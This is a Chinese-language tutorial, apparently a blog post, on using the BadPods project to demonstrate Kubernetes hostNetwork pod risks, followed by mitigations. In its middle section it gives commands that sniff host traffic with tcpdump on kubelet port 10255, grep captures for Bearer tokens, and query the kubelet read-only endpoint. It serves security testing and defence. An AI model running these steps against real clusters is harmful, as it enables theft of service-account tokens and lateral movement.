K8s容器逃逸指南:利用BadPods项目复现hostNetwork漏洞
【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods
BadPods项目是一个专注于创建具有提升权限的Kubernetes Pod清单集合,能够帮助安全研究人员和开发者快速演示允许hostNetwork、hostPID、hostPath等敏感Pod属性带来的安全风险。本文将以BadPods项目为基础,详细介绍如何利用hostNetwork漏洞进行K8s容器逃逸测试。
图1:BadPods项目涵盖的五种特权访问类型,包括本文重点讨论的hostNetwork
什么是hostNetwork漏洞?
当Pod配置了hostNetwork: true时,容器将直接使用主机的网络命名空间,这意味着容器可以访问主机的网络接口、端口和流量。虽然这种配置本身不会直接提供主机的特权代码执行权限,但可能通过以下途径实现权限提升:
图2:hostNetwork特权配置下的网络访问权限示意(仅hostNetwork门控处于打开状态)
- 流量嗅探:使用
tcpdump等工具捕获主机网络接口上的未加密流量,可能获取服务账户令牌等敏感信息 - 访问本地服务:连接仅监听主机回环接口的服务,这些服务可能存在安全漏洞
- 绕过网络策略:突破命名空间级别的网络访问限制,直接使用主机网络接口通信
环境准备:快速部署BadPods测试环境
1. 克隆项目仓库
git clone https://gitcode.com/gh_mirrors/ba/badPods cd badPods2. 查看hostNetwork相关清单文件
BadPods项目为不同K8s资源类型提供了完整的hostNetwork配置清单,主要位于:
- Pod清单:
manifests/hostnetwork/pod/ - Deployment清单:
manifests/hostnetwork/deployment/ - DaemonSet清单:
manifests/hostnetwork/deamonset/ - 其他资源清单:包括CronJob、Job、StatefulSet等类型
实战演示:利用hostNetwork配置的Pod进行测试
创建hostNetwork Pod并执行命令
使用以下命令创建启用hostNetwork的测试Pod并进入交互终端:
kubectl apply -f manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml kubectl exec -it hostnetwork-exec-pod -- bash流量嗅探攻击演示
在容器内部安装网络工具并捕获主机流量:
apt update && apt -y install tcpdump net-tools tcpdump -ni eth0 -s0 -w host-traffic.cap port 10255 # 捕获kubelet端口流量分析捕获的流量文件,搜索敏感信息:
tcpdump -r host-traffic.cap -A | grep Bearer # 查找可能的Bearer令牌访问主机本地服务
尝试访问主机上的本地服务(如kubelet只读端口):
curl http://localhost:10255/pods # 访问kubelet pods端点漏洞防御与缓解措施
针对hostNetwork漏洞,建议采取以下防御措施:
- 严格限制hostNetwork使用:仅在绝对必要时才允许Pod使用主机网络
- 实施Pod安全策略:通过PSP或PodSecurityContext限制特权配置
- 网络流量加密:确保集群内所有服务间通信使用TLS加密
- 最小权限原则:为服务账户分配最小必要权限,避免过度授权
总结与进一步学习
通过BadPods项目提供的manifests/hostnetwork/清单文件,我们可以快速复现hostNetwork配置带来的安全风险。这类漏洞虽然不会直接导致容器逃逸,但可能成为攻击者横向移动或获取敏感信息的重要途径。
建议安全从业者深入研究项目中其他特权配置的安全影响,包括:
- Privileged Pod:
manifests/priv/ - hostPID配置:
manifests/hostpid/ - hostPath挂载:
manifests/hostpath/
通过全面了解这些配置的潜在风险,可以帮助我们构建更安全的Kubernetes集群环境。
【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考